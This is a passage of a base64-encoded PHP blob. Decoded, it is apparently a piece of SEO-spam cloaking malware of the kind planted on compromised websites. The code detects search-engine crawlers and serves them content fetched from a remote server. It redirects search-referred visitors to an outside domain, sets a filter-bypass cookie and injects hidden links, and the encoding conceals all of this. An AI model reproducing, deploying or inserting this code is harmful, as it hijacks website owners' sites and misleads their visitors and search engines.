bHNlOwoJCWlmKCR0aGlzLT5pc1NwaWRlcigpICYmICR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQkJ aWYoJHRoaXMtPmNvbmRpdGlvbil7CgkJCQkJaWYoJHRoaXMtPmlzQ2FjaGUpewoJCQkJCQkkcmVs c2V0X2hvc3QgPSAkdGhpcy0+Z2V0U2VydmVyTmFtZSgpOwoJCQkJCQkkZGlyID0gKHN1YnN0cihQ SFBfT1MsIDAsIDMpID09ICdXSU4nID8gJ0M6L3dpbmRvd3MvdGVtcC8nIDogJy90bXAvJykgLiBz dWJzdHIobWQ1KCRyZWxzZXRfaG9zdCksIDI2KSAuIGNocig0Nyk7CgkJCQkJCSRjYWNoZUZpbGUg PSAkZGlyLidzZXNzXycgLiBzdWJzdHIobWQ1KGh0dHBfYnVpbGRfcXVlcnkoJF9HRVQpKSwgNik7 CgkJCQkJCWlmKCFAZmlsZV9leGlzdHMoJGRpcikpewogICAgICAgICAgICAgCQkJCSBta2Rpcigk ZGlyLCAwNzc3KTsKICAgICAgICAgICAgCQkJfQoJCQkJCQlpZihAZmlsZV9leGlzdHMoJGNhY2hl RmlsZSkgJiYgQGZpbGVzaXplICgkY2FjaGVGaWxlKSA+IDMyICl7CgkJCQkJCQkkdmFyID0gY29y ZUFwcENhY2hlOjpyZWFkKCRjYWNoZUZpbGUpOwoJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9jb250 ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYp ewoJCQkJCQkJCSRmbGFnID0gInsiLiRrZXkuIn0iOwoJCQkJCQkJCSRwYWdlID0gc3RyX3JlcGxh Y2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCWV4 aXQoKTsKCQkJCQkJfQoJCQkJCQllbHNlCgkJCQkJCXsJCgkJCQkJCQkvL8Kww7zCusKswr3DuEFQ UMK8wrTCv8OJCgkJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQUEZJTEUp OwoJCQkJCQkJaWYoJGN1cnJlbnRQYWdlICYmIHN0cmxlbigkY3VycmVudFBhZ2UpID4gMzIgJiYg c3RyaXN0cigkY3VycmVudFBhZ2UsIjwvZXhwbG9kZT4iKSl7CgkJCQkJCQkJJHZhciA9IHNlbGY6 OmN1dCgkY3VycmVudFBhZ2UsIjxleHBsb2RlPiIsIjwvZXhwbG9kZT4iKTsKCQkJCQkJCQkkdmFy ID0gY29yZUFwcENhY2hlOjpkZWNvZGUoJHZhcik7CgkJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9j b250ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9 PiR2KXsKCQkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJCQkJCSRwYWdlID0gc3Ry X3JlcGxhY2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJCX0KCQkJCQkJCQllY2hvICRwYWdlOwoJ CQkJCQkJCUBjb3JlQXBwQ2FjaGU6OndyaXRlbm9jb2RlKCRjdXJyZW50UGFnZSwkY2FjaGVGaWxl KTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsK CQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJZWNo byAkY3VycmVudFBhZ2U7CgkJCQkJCWRpZSgpOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UKCQkJCXsK CgkJCQkJJHRoaXMtPl91bmNvbmRpdGlvbl9ob29rKCk7CgkJCQl9CgkJfQoJCWVsc2UKCQl7CQoJ CQlpZigkdGhpcy0+aXNSZWYoKSAmJiAkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCSR0aGlzLT5KdW1w KCk7CgkJCX0KCQkJZWxzZQoJCQl7CgkJCQkkdGhpcy0+X3VuU3BpZGVyX2hvb2soKTsKCQkJfQoJ CX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNBbGxvd2RJcCgpewoJCSRpcCA9ICR0aGlzLT5jbGll bnRJcCgpOwoJCSRub25fbGlzdCA9IGV4cGxvZGUoInwiLCR0aGlzLT5hbGxvd19pcCk7CgkJZm9y ZWFjaCgkbm9uX2xpc3QgYXMgJGlwbGlzdCl7CgkJCWlmKEBzdHJpc3RyKCRpcCwkaXBsaXN0KSl7 CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkJcmV0dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1 bmN0aW9uIGNsaWVudElwKCl7CgkJaWYoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpICYmIHN0cmNh c2VjbXAoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVp cCA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKCQl9IGVsc2VpZihnZXRlbnYoJ0hUVFBfWF9G T1JXQVJERURfRk9SJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9S JyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVE X0ZPUicpOwoJCX0gZWxzZWlmKGdldGVudignUkVNT1RFX0FERFInKSAmJiBzdHJjYXNlY21wKGdl dGVudignUkVNT1RFX0FERFInKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYo J1JFTU9URV9BRERSJyk7CgkJfSBlbHNlaWYoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10p ICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICYmIHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFTU9U RV9BRERSJ10sICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gJF9TRVJWRVJbJ1JFTU9URV9B RERSJ107CgkJfQoJCXByZWdfbWF0Y2goIi9bXGRcLl17NywxNX0vIiwgJG9ubGluZWlwLCAkb25s aW5laXBtYXRjaGVzKTsKCQkkb25saW5laXAgPSAkb25saW5laXBtYXRjaGVzWzBdID8gJG9ubGlu ZWlwbWF0Y2hlc1swXSA6ICd1bmtub3duJzsKCQl1bnNldCgkb25saW5laXBtYXRjaGVzKTsKCQly ZXR1cm4gJG9ubGluZWlwOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc1NwaWRlcigpewoJCSRib3Rz ID0gYXJyYXkoCgkJCQknQmFpZHUnICAgICAgICA9PiAnYmFpZHVzcGlkZXInLAoJCQkJJ1NvZ291 JyAgICAgICAgPT4gJ3NvZ291JywKCQkJCSdIYW9zbycgICAgICAgID0+ICdoYW9zb3VzcGlkZXIn LAoJCQkJJzM2MHNwaWRlcicgICAgICAgID0+ICczNjBzcGlkZXInCgkJICk7CgkJJHVzZXJBZ2Vu dCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCQlmb3JlYWNoICgk Ym90cyBhcyAkayA9PiAkdil7CgkJCWlmIChzdHJpc3RyKCR1c2VyQWdlbnQsJHYpKXsKCQkJCWlm KCFlbXB0eSgkdGhpcy0+bG9nX3NwaWRlcikpewoJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGhp cy0+bG9nX3NwaWRlciwkdi4iLT5WaXNpdGVkICIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddLiJh dDogIi5kYXRlKCJZLW0tZCBIOmk6cyIpLiJcbiIsRklMRV9BUFBFTkQpOwoJCQkJfQoJCQkJJHRo aXMtPmN1cl9zcGlkZXIgPSAkazsKCQkJCXJldHVybiB0cnVlOwoJCQkJYnJlYWs7CgkJCX0KCQl9 CgkJcmV0dXJuIGZhbHNlOwkKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNSZWYoKXsKCQkkcmVmID0g c3RydG9sb3dlcihAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsKCQlpZihpc3NldCgkX0NPT0tJ RVsiZG9tYWluLWZpbHRlci1ieXBhc3MiXSkpewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCWlm KCEkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJc2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFz cyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlmb3Jl YWNoKCR0aGlzLT5odHRwX3JlZl9maWx0ZXIgYXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlp ZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3Mi LCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQoJ CWZvcmVhY2goJHRoaXMtPmp1bXBfcmVmIGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYo c3RyaXN0cigkcmVmLCRyKSl7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCX0KCglwdWJsaWMg ZnVuY3Rpb24gZ2V0U2VydmVyTmFtZSgpIAoJeyAKCQkkU2VydmVyTmFtZSA9IHN0cnRvbG93ZXIo JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10/JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ106JF9TRVJWRVJb J0hUVFBfSE9TVCddKTsgCgkJaWYoIHN0cnBvcygkU2VydmVyTmFtZSwnaHR0cDovLycpICkgCgkJ eyAKCQkJcmV0dXJuIHN0cl9yZXBsYWNlKCdodHRwOi8vJywnJywkU2VydmVyTmFtZSk7IAoJCX0g CgkJcmV0dXJuICRTZXJ2ZXJOYW1lOyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZ2V0UGFnZSgpewoJ CWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJJGNhY2hlPSJjYWNoZWQiOwoJCX0KCQkkdXJsICA9ICR0 aGlzLT5hcHBfc2VydmVyLiI/ZG9tYWluPSIuJHRoaXMtPmRvbWFpbi4iJmdpZD0xOTkmc3BpZGVy PSIuJHRoaXMtPmN1cl9zcGlkZXIuIiZjYWNoZT0iLiRjYWNoZS4iJmxvY2FsUGFyPSIuaHR0cF9i dWlsZF9xdWVyeSgkX0dFVCk7CgkJcmV0dXJuICR0aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9Cgog ICAgcHVibGljIGZ1bmN0aW9uIEh0dHBWaXNpdCgkd2VidXJsKSB7CiAgICAJJHVzZXJfYWdlbnQg PSAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTBfNSkgQXBwbGVX ZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQ1LjAuMjQ1NC44NSBTYWZh cmkvNTM3LjM2IFFRQnJvd3Nlci8zLjkuMzk0My40MDAiOwogICAgICAgICRyZW1vdGVfZGF0YSA9 IE5VTEw7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9leGVjJykpIHsKICAgICAg ICAgICAgJGN1cmwgPSBAY3VybF9pbml0KCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VUkwsICR3ZWJ1cmwpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmws IENVUkxPUFRfSEVBREVSLCAwKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJM T1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwg Q1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyX2FnZW50KTsgCiAgICAgICAgICAgICRyZW1vdGVf ZGF0YSA9IEBjdXJsX2V4ZWMoJGN1cmwpOwogICAgICAgICAgICBAY3VybF9jbG9zZSgkY3VybCk7 CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3RyZWFt X2NvbnRleHRfY3JlYXRlJykpIHsKICAgICAgICAgICAgICAgICRoZWFkZXJfYXJyYXkgPSBhcnJh eSgnaHR0cCcgPT4gYXJyYXkoJ21ldGhvZCcgPT4gJ0dFVCcsICd0aW1lb3V0JyA9PiAzMCkpOwog ICAgICAgICAgICAgICAgJGh0dHBfaGVhZGVyID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkaGVh ZGVyX2FycmF5KTsKICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSA9IEBmaWxlX2dldF9jb250 ZW50cygkd2VidXJsLCBmYWxzZSwgJGh0dHBfaGVhZGVyKTsKICAgICAgICAgICAgfSBlbHNlIHsK ICAgICAgICAgICAgICAgICR0ZW1wX3VybCA9IGV4cGxvZGUoIi8iLCAkd2VidXJsKTsKICAgICAg ICAgICAgICAgICRuZXdfdXJsID0gJHRlbXBfdXJsWzJdOwogICAgICAgICAgICAgICAgJGh0dHBf cG9ydCA9IDgwOwogICAgICAgICAgICAgICAgJGdldF9maWxlID0gc3Vic3RyKCR3ZWJ1cmwsIHN0 cmxlbigkbmV3X3VybCkgKyA3KTsKICAgICAgICAgICAgICAgIGlmIChzdHJzdHIoJG5ld191cmws IGNocig1OCkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHNfdmFyX2FycmF5Wyd0ZCddID0gZXhw bG9kZShjaHIoNTgpLCAkbmV3X3VybCk7CiAgICAgICAgICAgICAgICAgICAgJG5ld191cmwgPSAk c192YXJfYXJyYXlbJ3RkJ11bMF07CiAgICAgICAgICAgICAgICAgICAgJGh0dHBfcG9ydCA9ICRz X3Zhcl9hcnJheVsndGQnXVsxXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRm c29ja19yZXN1bHQgPSBAZnNvY2tvcGVuKCRuZXdfdXJsLCAkaHR0cF9wb3J0KTsKICAgICAgICAg ICAgICAgIEBmcHV0cygkZnNvY2tfcmVzdWx0LCAnR0VUICcgLiAkZ2V0X2ZpbGUgLiAnIEhUVFAv MS4xJyAuICJcclxuIiAuICdIb3N0OicgLiAkbmV3X3VybCAuICJcclxuIiAuICdDb25uZWN0aW9u OkNsb3NlJyAuICJcclxuXHJcbiIpOwogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRmc29j a19yZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlbW90ZV9kYXRhIC49IGZnZXRzKCRm c29ja19yZXN1bHQsIDEwMjQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGZj bG9zZSgkZnNvY2tfcmVzdWx0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1 cm4gJHJlbW90ZV9kYXRhOwogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBKdW1wKCl7CgkJaWYoJHRo aXMtPmlzQWxsb3dkSXAoKSl7CgkJCSRkb21haW4gID0gc3RyX3JlcGxhY2UoIi4iLCJfIiwkdGhp cy0+ZG9tYWluKTsKCQkJaGVhZGVyKCdMb2NhdGlvbjogaHR0cDovL250Lnd4Y29vbGJhYnkuY29t L250Lz9qcF8nLiRkb21haW4pOwoJCQlleGl0OwoJCX0KCX0KCQoJcHVibGljIGZ1bmN0aW9uIF91 bmNvbmRpdGlvbl9ob29rKCl7CgkJJGFycmF5ID0gYXJyYXkoKTsKCQlmb3IoJGE9MDskYTw1OyRh KyspewoJCQllY2hvICc8YSBocmVmPSInLkFwcF9HZXRMaW5rKCkuJyI+PC9hPicuIlxuIjsKCQl9 Cgl9CgoJcHVibGljIGZ1bmN0aW9uIF91blNwaWRlcl9ob29rKCl7CgkJLy8KCX0KCgoJcHVibGlj IGZ1bmN0aW9uIHN0clN0YXJ0V2l0aCgkbmVlZGxlLCAkaGF5c3RhY2spewogIAkgIHJldHVybiAo c3Vic3RyKCRoYXlzdGFjaywgMCwgc3RybGVuKCRuZWVkbGUpKT09JG5lZWRsZSk7Cgl9CgkKCXB1 YmxpYyBmdW5jdGlvbiBjdXQoJGZpbGUsJGZyb20sJGVuZCkKCXsgCgkJJG1lc3NhZ2U9ZXhwbG9k ZSgkZnJvbSwkZmlsZSk7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGVuZCwkbWVzc2FnZVsxXSk7IAoJ CXJldHVybiAgICRtZXNzYWdlWzBdOwoJfQp9CgoK